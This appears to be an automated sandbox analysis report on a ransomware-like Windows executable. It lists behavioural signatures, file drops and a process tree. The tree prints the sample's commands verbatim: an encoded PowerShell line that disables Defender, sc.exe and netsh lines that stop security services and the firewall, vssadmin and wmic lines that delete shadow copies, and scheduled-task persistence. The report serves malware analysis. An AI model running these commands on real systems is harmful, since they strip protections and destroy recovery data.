Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    24/04/2026, 06:41

General

  • Target
    classofcovid.org.exe
  • Size 51KB
  • Sample260424-hfzfcsby4p
  • SHA256 3dad0b75b8890714c4cb848706a8e149139e924ad6c6cce31480797336b297d9
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\classofcovid.org.exe
    "C:\Users\Admin\AppData\Local\Temp\classofcovid.org.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3680
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3864
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:4312
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3676
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:1092
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:5000
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:3392
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:3192
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:604
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4660
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4176
      • C:\Users\Admin\AppData\Local\Temp\classofcovid.org.exe
        "C:\Users\Admin\AppData\Local\Temp\classofcovid.org.exe"
        3⤵
          PID:4696
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:4688
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\classofcovid.org.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:616
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3988
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:2268
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1204
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4992
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:3588
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1284
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:4132
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3428
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2992
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3456
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3388
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:3472
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1728
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:4784
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:540
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              • Suspicious use of AdjustPrivilegeToken
              PID:3272
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\classofcovid.org.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3184
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
              PID:3908
            • C:\Windows\System32\notepad.exe
              "C:\Windows\System32\notepad.exe"
              2⤵
                PID:492
              • C:\Windows\System32\vssadmin.exe
                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                2⤵
                • Interacts with shadow copies
                PID:4964
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:1524
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2676
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop srservice
                  3⤵
                    PID:1476
                • C:\Windows\System32\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:1860
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:4968
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" stop i8042prt
                  2⤵
                  • Launches sc.exe
                  PID:2532
              • C:\Windows\system32\LogonUI.exe
                "LogonUI.exe" /flags:0x0 /state0:0xa3a12055 /state1:0x41c64e6d
                1⤵
                • Modifies data under HKEY_USERS
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:5100
              • C:\Users\Admin\AppData\Local\Temp\classofcovid.org.exe
                C:\Users\Admin\AppData\Local\Temp\classofcovid.org.exe
                1⤵
                  PID:3104
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1676

                Network

                      MITRE ATT&CK Enterprise v16

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                      Downloads

                      invoice_1.pdf

                      • Path C:\ProgramData\invoice_1.pdf
                      • Size 69KB
                      • SHA256 c4aebd921da8217b866f699cd6ab3dee0bf204a29485f6c16d1e18f02f66ecea
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      doc_3.pdf

                      • Path C:\SystemVolumeInformation\doc_3.pdf
                      • Size 68KB
                      • SHA256 b27528a96dd025ca53d60383093819c039feb5ca5168e6e858104433835fc36b
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      classofcovid.org.exe.log

                      • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\classofcovid.org.exe.log
                      • Size 660B
                      • SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
                      • MD5 SHA1 SHA512 TLSH

                      __PSScriptPolicyTest_sqyfqrql.4px.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sqyfqrql.4px.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH

                      createshortcut.vbs

                      • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                      • Size 241B
                      • SHA256 47cdb6378411c247d944240acb12e2ea901026f051929e767792381218e1395e
                      • MD5 SHA1 SHA512 TLSH

                      del.bat

                      • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                      • Size 59B
                      • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                      • MD5 SHA1 SHA512 TLSH

                      makelnk.vbs

                      • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                      • Size 242B
                      • SHA256 3dd334e7737e103292b07b49f958969446bbfc59a9fa029a126cd1b0c889c179
                      • MD5 SHA1 SHA512 TLSH

                      sysupdate.exe

                      • Path C:\Windows\System32\sysupdate.exe
                      • Size 51KB
                      • SHA256 3dad0b75b8890714c4cb848706a8e149139e924ad6c6cce31480797336b297d9
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      memory/492-2258-0x00000189D9C30000-0x00000189D9C31000-memory.dmp

                      memory/3680-0-0x0000000000860000-0x0000000000874000-memory.dmp

                      memory/3680-3-0x000000001E1B0000-0x000000001E6D8000-memory.dmp

                      memory/3680-2249-0x000000001B430000-0x000000001B440000-memory.dmp

                      memory/3680-2247-0x0000000002A60000-0x0000000002A6C000-memory.dmp

                      memory/3680-2248-0x000000001CFA0000-0x000000001CFB2000-memory.dmp

                      memory/3680-2-0x000000001DFE0000-0x000000001E1A2000-memory.dmp

                      memory/3680-1-0x000000001B430000-0x000000001B440000-memory.dmp

                      memory/3864-22-0x000001A4A25E0000-0x000001A4A2693000-memory.dmp

                      memory/3864-24-0x000001A4A2820000-0x000001A4A283C000-memory.dmp

                      memory/3864-6-0x000001A4A2210000-0x000001A4A2232000-memory.dmp

                      memory/3864-1026-0x000001A4A2840000-0x000001A4A2846000-memory.dmp

                      memory/3864-968-0x000001A4A2810000-0x000001A4A2818000-memory.dmp

                      memory/3864-468-0x000001A4A2860000-0x000001A4A287A000-memory.dmp

                      memory/3864-215-0x000001A4A2800000-0x000001A4A280A000-memory.dmp

                      memory/3864-1069-0x000001A4A2850000-0x000001A4A285A000-memory.dmp

                      memory/3864-21-0x000001A4A25C0000-0x000001A4A25DC000-memory.dmp

                      memory/3864-23-0x000001A4A26A0000-0x000001A4A26AA000-memory.dmp

                      memory/3864-2257-0x000001A489BE0000-0x000001A489BF2000-memory.dmp

                      memory/3864-2256-0x000001A489AC0000-0x000001A489ACC000-memory.dmp

                      memory/3908-2252-0x000001E9DF370000-0x000001E9DF37C000-memory.dmp

                      memory/4688-2234-0x00000209B6EF0000-0x00000209B6EFC000-memory.dmp